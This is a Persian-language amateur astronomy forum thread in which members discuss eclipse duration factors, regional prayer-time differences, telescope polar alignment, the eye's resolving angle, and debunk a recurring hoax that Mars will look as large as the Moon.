خودم فکر میکنم اثر حرکت وضعی بیشتر باشه، درسته؟

[شعری]

اگه ماه تو حضیض زمینیش باشه سرعت حرکتش بیشتر از زمانیه که تو اوجه پس مطمئنا باید کسوف کوتاه تر از زمانی باشه که ماه تو اوجه...درسته؟

فکر می کنم حق باشماست ....
درسته که ماه وقتی در حضیض زمینیه قطر ظاهریش بیشتره ولی خوب سرعتش هم بیشتره
در واقع نزدیک بودن ماه به زمین بیشتر به این کمک می کنه که گرفت کامل باشه نه حلقوی

[mohsen4465]

اگه ماه تو حضیض زمینیش باشه سرعت حرکتش بیشتر از زمانیه که تو اوجه پس مطمئنا باید کسوف کوتاه تر از زمانی باشه که ماه تو اوجه...درسته؟


فکر می کنم حق باشماست ....
درسته که ماه وقتی در حضیض زمینیه قطر ظاهریش بیشتره ولی خوب سرعتش هم بیشتره
در واقع نزدیک بودن ماه به زمین بیشتر به این کمک می کنه که گرفت کامل باشه نه حلقوی

درسته که سرعت ماه در حضیض بیشتره اما این تنها حالتیه که شما کسوف کامل (تمام سایه) دارید. مگر اینکه منظور فاطمه خانم شامل کسوف حلقوی هم باشه.



کاملا درست میفرمایید. خب توی این سرعت ظاهری ماه کدوم عامل مهمتره؟ حرکت وضعی زمین، حرکت انتقالی زمین یا حرکت ماه به دور زمین؟
خودم فکر میکنم اثر حرکت وضعی بیشتر باشه، درسته؟
برای حداکثر شدن مدت زمان کسوف (یا هر کمیت دیگه) تمامی کمیت ها بایستی در حالت بیشینه یا کمینه (بر اساس نوع اثرشون) قرار بگیرن. عوامل زیر بترتیب درجه اهمیت تعیین کننده مدت زمان کسوف تمام سایه هستند:

1) ماه تقریباً به طور دقیق در نقطه حضیض زمینی خود باشه.
2) زمین تا جای ممکن به نقطه اوج مداری خود نزدیک باشه.
3) نقطه میانی کسوف تا جای ممکن به استوا نزدیک باشه؛ یعنی جایی که سرعت چرخش بیشینه است.
4) بردار مسیر حرکت سایه کسوف در نقطه میانی مسیر کسوف با بردار چرخش زمین همسو باشه (زاویه‌دار نباشه).
5) نقطه میانی کسوف در نزدیکی نقطه "زیر-خورشیدی" باشه (نقطه‌ای که خورشید در سمت الرأسه).

کسوف 16 جولای 2186، طولانی مدت ترین کسوف تمام سایه بین 4000 قبل از میلاد تا حداقل 8000 پس از میلاد خواهد بود. مدت زمان گرفت کامل در این کسوف در نقطه میانی 7 دقیقه و 29 ثانیه خواهد بود. به طور تئوریک طولانی‌ترین زمان قابل دستیابی برای یک کسوف در هزاره سوم 7 دقیقه و 32 ثانیه است. بطور تاریخی طولانی‌ترین گرفت کامل در 15 جون 744 قبل از میلاد رخ داد که گرفت اون 7 دقیقه و 28 ثانیه طول کشید.

[gshahali]

سلام دوستان
اگر مایل هستید و حوصله دارید، در آدرس زیر میتوانید مقاله ای را (به انگلیسی) دانلود کنید که به بحث پیرامون وابستگی مدت کسوف و عرض جغرافیایی پرداخته است. روابطی را هم معرفی میکند:
www.eclipse-chasers.com/papers/Maximum_duration.pdf

در کتاب مبانی ستاره شناسی صفحۀ 151 نوشته که همواره پهنای سایۀ ماه بر زمین کمتر از 270 کیلومتر است و با توجه به سرعت این سایه (دست کم 34 کیلومتر بر دقیقه)، بیشترین مدت کسوف (کامل) حدود هفت دقیقه و نیم خواهد بود.

[fatemeh.zar]

درسته که سرعت ماه در حضیض بیشتره اما این تنها حالتیه که شما کسوف کامل (تمام سایه) دارید. مگر اینکه منظور فاطمه خانم شامل کسوف حلقوی هم باشه.



برای حداکثر شدن مدت زمان کسوف (یا هر کمیت دیگه) تمامی کمیت ها بایستی در حالت بیشینه یا کمینه (بر اساس نوع اثرشون) قرار بگیرن. عوامل زیر بترتیب درجه اهمیت تعیین کننده مدت زمان کسوف تمام سایه هستند:

1) ماه تقریباً به طور دقیق در نقطه حضیض زمینی خود باشه.
2) زمین تا جای ممکن به نقطه اوج مداری خود نزدیک باشه.
3) نقطه میانی کسوف تا جای ممکن به استوا نزدیک باشه؛ یعنی جایی که سرعت چرخش بیشینه است.
4) بردار مسیر حرکت سایه کسوف در نقطه میانی مسیر کسوف با بردار چرخش زمین همسو باشه (زاویه‌دار نباشه).
5) نقطه میانی کسوف در نزدیکی نقطه "زیر-خورشیدی" باشه (نقطه‌ای که خورشید در سمت الرأسه).

کسوف 16 جولای 2186، طولانی مدت ترین کسوف تمام سایه بین 4000 قبل از میلاد تا حداقل 8000 پس از میلاد خواهد بود. مدت زمان گرفت کامل در این کسوف در نقطه میانی 7 دقیقه و 29 ثانیه خواهد بود. به طور تئوریک طولانی‌ترین زمان قابل دستیابی برای یک کسوف در هزاره سوم 7 دقیقه و 32 ثانیه است. بطور تاریخی طولانی‌ترین گرفت کامل در 15 جون 744 قبل از میلاد رخ داد که گرفت اون 7 دقیقه و 28 ثانیه طول کشید.
با تشکر از توضیحات مفیدتون:)
میشه مورد 4 و 5 رو توضیح بدید که چه تاثیری دارند؟

[mohsen4465]

با تشکر از توضیحات مفیدتون:)
میشه مورد 4 و 5 رو توضیح بدید که چه تاثیری دارند؟
مورد 4 بطور ساده به این معنیه که مسیر جرکت سایه روی سطح زمین با جهت چرخش زمین تا جای ممکن هم راستا باشن. در این جالت نقطه ای که زیر سایه قرار گرفته با حداکثر سرعت ممکن سایه ماه رو که سرعت بیشتری داره تعقیب میکنه و بنابراین کمی دیرتر از سایه بیرون میاد. مسلماً اگه مسیر حرکت سایه با راستای گردش وضعی زمین در اون نقطه یکی نباشه نقطه زیر سایه نمیتونه سایه رو در جهت صحیح تعقیب کنه.

و اما مورد 5؛ قرار داشتن خورشید در سمت الرأس یعنی کمترین فاصله ممکن تا خورشید که مسلماً در زمان کسوف کمترین فاصله تا ماه رو هم در پی داره. در این نقطه تمام سایه بزرگتره.

[zahra shahrokhi]

سلام.من عضو تازه وارد هستم.میخوام یادگیری نجوم رو شروع کنم.اگه میشه چند تا کتاب(به همراه مولف هاشون) برای شروع مطالعه به من معرفی کنید. و بعد هم اینکه عضو شدن توی انجمن های نجوم آماتوری رو بدون داشتن هیچگونه اطلاعاتی در مورد نجوم توصیه می کنید یا اینکه اول خودم یه مقدار تو این زمینه مطالعه کنم و بعد توی این انجمن ها و کلاس ها شرکت کنم. دوستان ممنون میشم راهنماییم کنید.

[cosmologist]

سلام.من عضو تازه وارد هستم.میخوام یادگیری نجوم رو شروع کنم.اگه میشه چند تا کتاب(به همراه مولف هاشون) برای شروع مطالعه به من معرفی کنید. و بعد هم اینکه عضو شدن توی انجمن های نجوم آماتوری رو بدون داشتن هیچگونه اطلاعاتی در مورد نجوم توصیه می کنید یا اینکه اول خودم یه مقدار تو این زمینه مطالعه کنم و بعد توی این انجمن ها و کلاس ها شرکت کنم. دوستان ممنون میشم راهنماییم کنید.
سلام
برای شروع اول باید با یک سری اصطلاحات کلی اشنا بشی و یه سری اطلاعات کلی بدست بیاری. کتابهایی مثل مجوم به زبان ساده و نجوم دینامیکی کتابهای خوبی هستن. اینجوری خودت هم متوجه میشی که به کدوم بخشش بیشتر علاقه مندی. عضویت در انجمنها و رفتن به کلاس هم خوبه. هم با افراد مختلف اشنا میشی و هم به ادم کمک می کنن که زودتر پیشرفت کنی ولی مطمئنا کافی نیست. فقط به میزان علاقه و دنبال کردن خودت بستگی داره. اینها فقط میتونن بهت جهت بدن
امیدوارم موفق باشی

[roset]

3لطفا اينا رو ببنيد
3 فروردين اذان صبح اروميه 5:06 واذان صبح تهران4:43 دقيقه است يعني 21 دقيقه اختلاف ، اذان مغرب اروميه 19:01 واذان مغرب تهران 18:35 ميشه 26 دقيقه ، خيلي خب اين 5 دقيقه اختلاف روز از کجا مياد . ويه چيز ديگه 12 تير اذان صبح ارومي4:22 وتهزان :4:07 دقيقه است يعني 15 دقيقه اختلاف، اذان مغرب اروميه 21:16 وتهران 20:45، يعني 31 دقيقه اختلاف، يعني 16 دقيقه طول روز بيشتره 12 دي اذان صبح اروميه 6:13 وتهران 5:45 يعني 28 دقيقه اختلاف، اذان مغرب اروميه 17:43 واذان مغرب تهران 17:22، يعني 21 دقيقه اختلاف ، يعني 7 دقيقه طول روز کمتره
خب معيار اين اختلاف ها چيه ؟ چرا به وجود مياد؟ چطوري محاسبه ميشه ؟

[شعری]

سلام

فکر می کنم شما یه موضوع رو اشتباه کردید
به نظرم شما اینطور فکر می کنید که اختلاف زمان اذان صبح در دو شهر معین و در یک روز معین باید با اختلاف زمان اذان مغرب همون دو شهر در همون روز یکسان باشه در حالیکه اینطور نیست . مگه می شه طول روز تو یه جا 5 دقیقه بیشتر باشه ؟
من نمی دونم زمان دقیق اذان چطور محاسبه می شه ولی حتما به طول و عرض جغرافیایی خیلی بستگی داره

[sara shahabi]

3لطفا اينا رو ببنيد
3 فروردين اذان صبح اروميه 5:06 واذان صبح تهران4:43 دقيقه است يعني 21 دقيقه اختلاف ، اذان مغرب اروميه 19:01 واذان مغرب تهران 18:35 ميشه 26 دقيقه ، خيلي خب اين 5 دقيقه اختلاف روز از کجا مياد . ويه چيز ديگه 12 تير اذان صبح ارومي4:22 وتهزان :4:07 دقيقه است يعني 15 دقيقه اختلاف، اذان مغرب اروميه 21:16 وتهران 20:45، يعني 31 دقيقه اختلاف، يعني 16 دقيقه طول روز بيشتره 12 دي اذان صبح اروميه 6:13 وتهران 5:45 يعني 28 دقيقه اختلاف، اذان مغرب اروميه 17:43 واذان مغرب تهران 17:22، يعني 21 دقيقه اختلاف ، يعني 7 دقيقه طول روز کمتره
خب معيار اين اختلاف ها چيه ؟ چرا به وجود مياد؟ چطوري محاسبه ميشه ؟


این مساله ای که می گین، با در نظر گرفتن چرخش زمین، انحراف محور چرخش زمین، فصول مختلف و طول و عرض جغرافیایی شهر مورد نظر قابل درک هست. این عوامل باعث می شن که طول روز در شهرهای مختلف تفاوت کنه و هر چه قدر این عوامل بیشتر با هم تفاوت داشته باشند طول روز هم در اون مکان متفاوت تره.

این پست (http://forum.avastarco.com/forum/showthread.php?1280-%D9%BE%D8%B1%D8%B3%D8%B4-%D9%88-%D9%BE%D8%A7%D8%B3%D8%AE-%D9%86%D8%AC%D9%88%D9%85-%DA%A9%D8%B1%D9%88%DB%8C&p=17489&viewfull=1#post17489) آقا Ehsan رو بخونید بهتر متوجه می شید.

[mohsen4465]

3لطفا اينا رو ببنيد


3 فروردين اذان صبح اروميه 5:06 واذان صبح تهران4:43 دقيقه است يعني 21 دقيقه اختلاف ، اذان مغرب اروميه 19:01 واذان مغرب تهران 18:35 ميشه 26 دقيقه ، خيلي خب اين 5 دقيقه اختلاف روز از کجا مياد . ويه چيز ديگه 12 تير اذان صبح ارومي4:22 وتهزان :4:07 دقيقه است يعني 15 دقيقه اختلاف، اذان مغرب اروميه 21:16 وتهران 20:45، يعني 31 دقيقه اختلاف، يعني 16 دقيقه طول روز بيشتره 12 دي اذان صبح اروميه 6:13 وتهران 5:45 يعني 28 دقيقه اختلاف، اذان مغرب اروميه 17:43 واذان مغرب تهران 17:22، يعني 21 دقيقه اختلاف ، يعني 7 دقيقه طول روز کمتره
خب معيار اين اختلاف ها چيه ؟ چرا به وجود مياد؟ چطوري محاسبه ميشه ؟

همونطور که میدونید محور زمین کجه و به همین دلیله که فصول مختلف بوجود میان. این کج بودن محور زمین باعث میشه تا در فصول مختلف وضعیت قرار گیری زمین نسبت به خورشید عوض بشه و در نتیجه وضعیت خط سایه شب و روز روی زمین تغییر کنه. از روی شکل بهتر متوجه میشین. به وضعیت خط شب و روز دقت کنید:


اعتدال بهاری 2014
http://up.avastarco.com/images/m7tnr5823orlb4t5c2b.gif


انقلاب تابستانی 2014
http://up.avastarco.com/images/o5nm20m2lrvvru0nntp.gif


اعتدال پاییزی 2014
http://up.avastarco.com/images/6ppm2prh2186lpkjinn.gif



انقلاب زمستانی 2014
http://up.avastarco.com/images/eddd04sowcwd6nk4wcak.gif



ضمناً دقت کنید که وضعیت خط شب و روز در هنگام طلوع و غروب دقیقاً عکس همدیگه هست. یعنی مثلاً در انقلاب تابستانی خط شب و روز در هنگام طلوع از شمال غرب ایران به سمت جنوب شرق ایران هست اما در هنگام غروب از شمال شرق به سمت جنوب غرب هست. این یعنی خط اذان (اگه پست آقا احسان رو خونده باشید) برای صبح و غروب دقیقاً برعکس همدیگه هست. یعنی اگه تهران و یزد اذان صبحشون یکی باشه مطمئناً اذان مغربشون یکی نیست و هنگام غروب اذان مغرب تهران با اذان مغرب مثلاً اهواز یکی میشه.

[محمدرضا صادقیان]

سلام. من یکی از بچه های رصد خونه ی زعفرانیه ام . این ترم ما با آقای رستمی پور و آقای نوروزی کلاس داریم. گفته اند باید بدونیم چه طور میشه تلسکوپ رو قطبی کرد. من کلی تو اینترنت گشتم و فقط قطبی کردن با دوربینی که تو خود تلسکوپ هست رو پیدا کردم. قطبی کردن بدون اون دوربین که تو محور تلسکوپه نداریم؟
اگه بهم بگین خیلی ممنون میشم.
:help: :help:
به دوستمون جواب بدین...

[امیرمحمد]

سلام . کتاب نجوم به زبان ساده ،ساختار ستارگان و کهکشان ها که ترجمه ی آقای توفیق حیدر زاده هستش،شناخت مقدماتی ستارگان و کتاب صورت فلکی ها که ترجمه ی آقای دالکی هستش. امیدوارم راضی شده باشید.

[Immortal star]

سلام به همه ی دوستان آوایی
میخواستم نظرتونو درباره ی یه خبر بپرسم
که آیا واقعیه یا نه؟
اینم از خبر:
از اتفاق روز 5 شهریور مطلع باشید و به دیگران هم خبر دهید. امسال را به خاطر بسپارید ... روز 5 شهریور تمام دنیا در انتظار …… کره مریخ به بالاترین درجه درخشش دراسمان شب در 5 شهریور خواهد رسید اون به اندازه کره ماه تمام بزرگ با چشم غیر مسلح به نظر خواهد رسید این وقتی است که در روز 5 شهریور کره مریخ به فاصله 634 مایلی خود به زمین میرسد. حتما در راس ساعت 12:30 نیمه شب آسمان را تماشا کنید . به نظر خواهد رسید که آسمان دو ماه دارد !!! این امر 1200 سال دیگر دوباره اتفاق خواهد افتاد این لحظه را با دوستان خود شریک شوید زیرا هیچکس زنده ای دوباره این اتفاق را نخواهد دید.

[علی آئین جمشید]

به هیچ وجه این خبر ها فقط برای مختل کردن ذهن ما ایرانی ها است که متاسفانه تو جامعه ما مثه بمب میترکه !جالبه همین خبر رو چند لحظه پیش از یکی از آشنایان شنیدم!

[Amirali]

سلام به همه ی دوستان آوایی
میخواستم نظرتونو درباره ی یه خبر بپرسم
که آیا واقعیه یا نه؟
اینم از خبر:
از اتفاق روز 5 شهریور مطلع باشید و به دیگران هم خبر دهید. امسال را به خاطر بسپارید ... روز 5 شهریور تمام دنیا در انتظار …… کره مریخ به بالاترین درجه درخشش دراسمان شب در 5 شهریور خواهد رسید اون به اندازه کره ماه تمام بزرگ با چشم غیر مسلح به نظر خواهد رسید این وقتی است که در روز 5 شهریور کره مریخ به فاصله 634 مایلی خود به زمین میرسد. حتما در راس ساعت 12:30 نیمه شب آسمان را تماشا کنید . به نظر خواهد رسید که آسمان دو ماه دارد !!! این امر 1200 سال دیگر دوباره اتفاق خواهد افتاد این لحظه را با دوستان خود شریک شوید زیرا هیچکس زنده ای دوباره این اتفاق را نخواهد دید.

سلام
این خبر چگونه به دست شما رسیده؟! منبعش کجاس؟!

فکر میکردم دیگه منسوخ شده باشه اما ظاهرا این 5 شهریور ها ادامه داره... :22::22::22:

حالا قبلنا اعداد و ارقامش یکم بهتر بود ! کره مریخ به فاصله 634 مایلی زمین میرسد!!! :eek: :35:

فقط سوال من اینه که این رویداد که هر 1200 سال روی میده چرا هر سال اطلاع رسانی میشه! :))

[شعری]

سلام
*
*
من نمی تونم این خبر رو باور کنم

هر چقدر هم که به زمین نزدیک بشه اینقدر درخشنده نمی شه من تا حالا در جایی نخوندم که همچین اتفاقی در قرنهای گذشته افتاده باشه اگه بود مثل دنباله دار هالی حتما خیلی مطرح می شد
در ضمن به نظرم مریخ در حال دور شدن از زمین باشه چون نسبت به دو سه ماه پیش درخشندگیش کمتره ولی خیلی حرکت ظاهریش توی آسمون سریع شده انگار داره تو آسمون می دوه

[Sky-Watcher]

راستش من هم خیلی سرچ کردم ظاهرا که چنین خبری تایید نیست حداقل از دیدگاه سایت های معتبر خارجی چیزی ندیدم..
فکرنمی کنم / حالا ان شاءالله یک ماه دیگر زنده باشیم ببینیم اگر هم واقعیت داشت...!

[amir abbas saedi]

من دقیق یادم هست چند سال پیش هم این شایعه پخش شد . یه سوال میپرسم ازت فاصله ماهتا زمین چقدر هست ؟ فاصله مریخ تا زمین رو هم نگاه کن.
چی به ذهنت میرسه.
مطمئن باش کذب دروغ هست یه منجم هستی از نظر علم زیر سوال ببرش راحت معلوم میشه دروغه .

[Mostafa]

سلام. من یکی از بچه های رصد خونه ی زعفرانیه ام . این ترم ما با آقای رستمی پور و آقای نوروزی کلاس داریم. گفته اند باید بدونیم چه طور میشه تلسکوپ رو قطبی کرد. من کلی تو اینترنت گشتم و فقط قطبی کردن با دوربینی که تو خود تلسکوپ هست رو پیدا کردم. قطبی کردن بدون اون دوربین که تو محور تلسکوپه نداریم؟
اگه بهم بگین خیلی ممنون میشم.
:help: :help:

سلام به شما
در مورد قطبی کردن تلسکوپ همونطور که خودتون هم گفتید دقیق ترین روشش با استفاده از دوربین قطب یاب ( پولارسکوپ ) است .

( البته در روش های دستی ، وگرنه تلسکوپ هایی که سیستم قطبی شدن خودکار داشته باشند ، طبیعتآ دقت بیشتری دارند )

اما اگر مقر تلسکوپ مجهز به دوربین نباشد ، روش های دیگری برای افزایش دقت قطبی کردن وجود دارد که تقریبآ همه آنها مبتنی بر آزمون و خطا هستند

بدین ترتیب که حتی الامکان سعی می کنیم محور میل تلسکوپ دقیقآ به سمت ستاره قطبی باشد ( سمت صفر و ارتفاع به اندازه عرض جغرافیایی )

یا مثلآ لوله تلسکوپ را در حالت مثل 90 درجه قرار دهیم و محور میل را هم به اندازه عرض جغرافیایی بالا بیاوریم و بعد سعی کنیم تلسکوپ را در سمتی قرار دهیم که ستاره قطبی

از داخل چشمی قابل مشاهده باشد

و سپس با افزایش بزرگنمایی ( کاهش میدان دید ) دقت کار را افزایش دهیم

ولی بار هم از آنجا که ستاره قطبی چرخش اندکی حول قطب شمال سماوی باشد این روش ها خطاهای خاص خودش را دارد که لازم است با استفاده از روش های تجربی

این خطا ها را به حد اقل کاهش داد .
به دوستمون جواب بدین...

[yperseusy]

یه مورد دیگه که هست اینه که برای قطبی کردن تعداد بیشتری ستاره رو انتخواب کنید مثلا در مقر های eq6 با 3 استار قطبی کنید مقر رو اینجوری دقت پیدا کردن جرم هم زیاد تر میشه.

[dark galaxy]

سلام به همه ی دوستان آوایی
میخواستم نظرتونو درباره ی یه خبر بپرسم
که آیا واقعیه یا نه؟
اینم از خبر:
از اتفاق روز 5 شهریور مطلع باشید و به دیگران هم خبر دهید. امسال را به خاطر بسپارید ... روز 5 شهریور تمام دنیا در انتظار …… کره مریخ به بالاترین درجه درخشش دراسمان شب در 5 شهریور خواهد رسید اون به اندازه کره ماه تمام بزرگ با چشم غیر مسلح به نظر خواهد رسید این وقتی است که در روز 5 شهریور کره مریخ به فاصله 634 مایلی خود به زمین میرسد. حتما در راس ساعت 12:30 نیمه شب آسمان را تماشا کنید . به نظر خواهد رسید که آسمان دو ماه دارد !!! این امر 1200 سال دیگر دوباره اتفاق خواهد افتاد این لحظه را با دوستان خود شریک شوید زیرا هیچکس زنده ای دوباره این اتفاق را نخواهد دید.

دوست عزیز اینا یک سری شایعه هستند که هر سال یک دسته ازشون پخش میشه ولی اگه شما به عکس زیر توجه کنید می بینید که اصلا امسال مریخ در نزدیک ترین موقعیت خودش هم به زمین قرار نداره که حداقل بشه یه ذره روی این حرف فکر کرد!!!!!
http://astrobob.areavoices.com/astrobob/images/Mars_Oppositions_2003_18_final.jpg

[Mostafa]

یه مورد دیگه که هست اینه که برای قطبی کردن تعداد بیشتری ستاره رو انتخواب کنید مثلا در مقر های eq6 با 3 استار قطبی کنید مقر رو اینجوری دقت پیدا کردن جرم هم زیاد تر میشه.
سلام یاشار جان
منظورشون فکر میکنم قطبی کردن به صورت دستی باشه
یعنی با فرض اینکه تلسکوپ سیستم گوتو نداره و فقط موتور درایو داره ( یا حتی ممکنه اون رو هم نداشته باشه و فقط بخوان با پیچ میکرو اجرام رو دنبال کنند )
وگر نه در صورتی که تلسکوپ گوتو داشته باشه نکته ای که شما گفتید کاملا درسته
:)

[fatemeh.zar]

سلام
من میخواستم بدونم که چجوری(با چه آزمایشی) میتونیم خودمون زاویه تفکیک چشممون رو حساب کنیم؟ من چندبار با آزمایش های مختلف امتحان کردم اما جوابام خیلی با هم فرق داشتن. روشی که کمترین خطا رو داره چجوریه؟؟

[Ehsan]

سلام
من میخواستم بدونم که چجوری(با چه آزمایشی) میتونیم خودمون زاویه تفکیک چشممون رو حساب کنیم؟ من چندبار با آزمایش های مختلف امتحان کردم اما جوابام خیلی با هم فرق داشتن. روشی که کمترین خطا رو داره چجوریه؟؟

آزمایش‌های مختلف تو چه شرایطی بودن؟ می‌دونید که شب و روز با هم متفاوته، چون گشودگی دهانه‌ی چشمِ آدم متفاوته، از این گذشته شرایطِ دیگه‌ای هم غیر از گشودگی دخیل هست. من خودم صبح که پا می‌شم، حتی بعد از این که به صورتم آب می‌زنم باز تا یه مدتی صفحه‌ی لپتاپ رو کدر می‌بینم و قص علی هذا


به حال ساده‌ترین کاری که به ذهنم می‌رسه اینه که دو تا خط به فاصله‌ی نزدیک و مشخص (مثلا دو سه میلی‌متر) از هم بکشید و اینقدر ازش فاصله بگیرید که دیگه تفکیکشون نکنید. بعد با مثلثات کمترین زاویه رو حساب کنید.

از چشم پزشکان هم یه مشورتی بگیرید، فکر کنم اونا این کار رو انجام می‌دن.

[fatemeh.zar]

آزمایش‌های مختلف تو چه شرایطی بودن؟ می‌دونید که شب و روز با هم متفاوته، چون گشودگی دهانه‌ی چشمِ آدم متفاوته، از این گذشته شرایطِ دیگه‌ای هم غیر از گشودگی دخیل هست. من خودم صبح که پا می‌شم، حتی بعد از این که به صورتم آب می‌زنم باز تا یه مدتی صفحه‌ی لپتاپ رو کدر می‌بینم و قص علی هذا


به حال ساده‌ترین کاری که به ذهنم می‌رسه اینه که دو تا خط به فاصله‌ی نزدیک و مشخص (مثلا دو سه میلی‌متر) از هم بکشید و اینقدر ازش فاصله بگیرید که دیگه تفکیکشون نکنید. بعد با مثلثات کمترین زاویه رو حساب کنید.

از چشم پزشکان هم یه مشورتی بگیرید، فکر کنم اونا این کار رو انجام می‌دن.

یکیشون دم ظهر بود یکیش حول و حوش عصر.
من اول دو تا دایره کوچیک رو امتحان کردم. روی یه کاغذ کشیدم و ازش دور شدم تا وقتی که دیگه نتونم اونها رو "دو" تا ببینم اما قبل از اینکه این اتفاق بیفته دایره ها رو نمیدیدم!!! بعد با خط امتحان کردم و مشکل مشابه رخ داد. کلی فکر کردم تا یه راه خوب به ذهنم برسه. کلی از یه کاغذ رو با خودکار رنگ کردم و فقط وسط اون یه خط خالی گذاشتم. این جواب داد. اما نتیجش با یه آزمایش دیگه که سبک و سیاقش فرق داشت متفاوت بود. تو اون آزمایش زاویه ام 10 دقیقه قوسی شده بود اما با این یکی حدود 1.5 دقیقه دراومد. وقتی فهمیدم میانگین قدرت تفکیک چشم انسان حدود 6 دقیقه است، شاخ درآوردم. هرچی بود جوابم نباید کمتر از 6 میشد؛ چون من توی فهمیدن اینکه دقیقا کجا دیگه اون خط رو نمی بینم مشکل داشتم. (توهم زیاد میزدم!)
تازه اینا مال وقتی بود که میخواستم اون زاویه رو با عینک حساب کنم. (من نزدیک بین هستم) وقتی عینکم رو بر میداشتم بجای اینکه تو فاصله نزدیکتری خط رو نبینم بلکه خط رو درشت تر می دیدم و تو فاصله دورتری نسبت به حالت بی عینک خط ناپدید شد. کلا هرچی میدونستم با این نتیجه زیر سوال رفت. و نمیدونم چرا؟

[مداد رنگیهام]

یکیشون دم ظهر بود یکیش حول و حوش عصر.
من اول دو تا دایره کوچیک رو امتحان کردم. روی یه کاغذ کشیدم و ازش دور شدم تا وقتی که دیگه نتونم اونها رو "دو" تا ببینم اما قبل از اینکه این اتفاق بیفته دایره ها رو نمیدیدم!!! بعد با خط امتحان کردم و مشکل مشابه رخ داد. کلی فکر کردم تا یه راه خوب به ذهنم برسه. کلی از یه کاغذ رو با خودکار رنگ کردم و فقط وسط اون یه خط خالی گذاشتم. این جواب داد. اما نتیجش با یه آزمایش دیگه که سبک و سیاقش فرق داشت متفاوت بود. تو اون آزمایش زاویه ام 10 دقیقه قوسی شده بود اما با این یکی حدود 1.5 دقیقه دراومد. وقتی فهمیدم میانگین قدرت تفکیک چشم انسان حدود 6 دقیقه است، شاخ درآوردم. هرچی بود جوابم نباید کمتر از 6 میشد؛ چون من توی فهمیدن اینکه دقیقا کجا دیگه اون خط رو نمی بینم مشکل داشتم. (توهم زیاد میزدم!)
تازه اینا مال وقتی بود که میخواستم اون زاویه رو با عینک حساب کنم. (من نزدیک بین هستم) وقتی عینکم رو بر میداشتم بجای اینکه تو فاصله نزدیکتری خط رو نبینم بلکه خط رو درشت تر می دیدم و تو فاصله دورتری نسبت به حالت بی عینک خط ناپدید شد. کلا هرچی میدونستم با این نتیجه زیر سوال رفت. و نمیدونم چرا؟

من فکر کنم باید برای چشم هم مثل تلسکوپ توان تفکیک رو در نظر بگیریم توی تلسکوپ هم توان تفکیک با قطر دهانه تلسکوپ رابطه عکس داره و با طول موج ساطع شده از جسم رابطه مستقیم.
اینجا هم همین دو عامل رو باید در نظر گرفت وقتی شما کل صفحه رو سیاه کنین و دوتا خط سفید داشته باشین و به این صفحه خیره بشین نسبت به حالتی که صفحه سفید باشه و خطوط سیاه، قطر مردمک متفاوته و در حالت اول قطر مردمک به خاطر تیره بودن صفحه بیشتره (چون نور ورودی کمتره به صورت رفلکسی مردمک گشادتر میشه) حالا اگه به جای صفحه سیاه و سفید صفحاتی با رنگ های متفاوت داشته باشیم مثلا صفحه قرمز یا سبز یا حتی رنگ خطوط رو عوض کنیم طبق فرمول،چون توان تفکیک به طول موج شی هم بستگی داره باید اعداد متفاوتی به دست بیاد حتی اینکه میزان نور محیط چقدره مثلا آزمایش رو شب انجام دادین یا روز باز هم تاثیر می زاره(تاثیر روی قطر مردکم ). البته نکته اساسی اینجاست که ببینین این مواردی که گفته شد چقدر میتونه زاویه تفکیک چشم( که به طور میانگین 6 دقیقه رو مد نظر میگیرن )رو تغییر بده؟!
(تو پرانتز اینم بگم که البته بخشی از زاویه تفکیک مربوط به چشمه یه بخشی هم مربوط میشه به مغز! که باید ببینیم این تفاوت رنگها روی توان تفکیک مغز تاثیر می ذاره یا نه؟!)

من همیشه با این کمتر و بیشتر مشکل داشتم :دی آخر نفهمیدم توان تفکیک کمتر باشه بهتره یا بیشتر باشه؟!:wut:

[fatemeh.zar]

من فکر کنم باید برای چشم هم مثل تلسکوپ توان تفکیک رو در نظر بگیریم توی تلسکوپ هم توان تفکیک با قطر دهانه تلسکوپ رابطه عکس داره و با طول موج ساطع شده از جسم رابطه مستقیم.
اینجا هم همین دو عامل رو باید در نظر گرفت وقتی شما کل صفحه رو سیاه کنین و دوتا خط سفید داشته باشین و به این صفحه خیره بشین نسبت به حالتی که صفحه سفید باشه و خطوط سیاه، قطر مردمک متفاوته و در حالت اول قطر مردمک به خاطر تیره بودن صفحه بیشتره (چون نور ورودی کمتره به صورت رفلکسی مردمک گشادتر میشه) حالا اگه به جای صفحه سیاه و سفید صفحاتی با رنگ های متفاوت داشته باشیم مثلا صفحه قرمز یا سبز یا حتی رنگ خطوط رو عوض کنیم طبق فرمول،چون توان تفکیک به طول موج شی هم بستگی داره باید اعداد متفاوتی به دست بیاد حتی اینکه میزان نور محیط چقدره مثلا آزمایش رو شب انجام دادین یا روز باز هم تاثیر می زاره(تاثیر روی قطر مردکم ). البته نکته اساسی اینجاست که ببینین این مواردی که گفته شد چقدر میتونه زاویه تفکیک چشم( که به طور میانگین 6 دقیقه رو مد نظر میگیرن )رو تغییر بده؟!
(تو پرانتز اینم بگم که البته بخشی از زاویه تفکیک مربوط به چشمه یه بخشی هم مربوط میشه به مغز! که باید ببینیم این تفاوت رنگها روی توان تفکیک مغز تاثیر می ذاره یا نه؟!)

من همیشه با این کمتر و بیشتر مشکل داشتم :دی آخر نفهمیدم توان تفکیک کمتر باشه بهتره یا بیشتر باشه؟!:wut:

البته فکر نکنم رنگ صفحه اونقدر در باز و بسته شدن مردمک تاثیر داشته باشه چون 3، 4 متر از صفحه دور میشدم و کل ناحیه رنگی به یک چهارم آ4 هم نمیرسید.
اون زاویه اگر کوچیکتر باشه بهتره. تناقض من هم در این بود که بدون عینک زاویه ام کوچکتر میشد!!

[Ehsan]

البته فکر نکنم رنگ صفحه اونقدر در باز و بسته شدن مردمک تاثیر داشته باشه چون 3، 4 متر از صفحه دور میشدم و کل ناحیه رنگی به یک چهارم آ4 هم نمیرسید.
اون زاویه اگر کوچیکتر باشه بهتره. تناقض من هم در این بود که بدون عینک زاویه ام کوچکتر میشد!!

آزمایش رو دقیقتر شرح بدین، دقیقا چی کار کردین؟

رنگِ خط‌ها قطعا تاثیر داره (نسبت طول موج قرمز به آبی تقریبا دو هستش، پس نسبت زاویه تفکیک باید نسبت به میانگین با نسبتِ دو تغییر کنه یعنی با میانگین 6 توان تفکیک از 4 تا 8 قابل قبول هست) و یک چیزِ دیگه رو هم باید در نظر بگیریم، هر پیکسلِ چشمِ ما (اندازه‌ی عصب بینایی) چه قدره؟ این هم می‌تونه مینیمم توان تفکیک رو تعیین کنه.

[مداد رنگیهام]

اندازه گیرنده های نوری چشم:

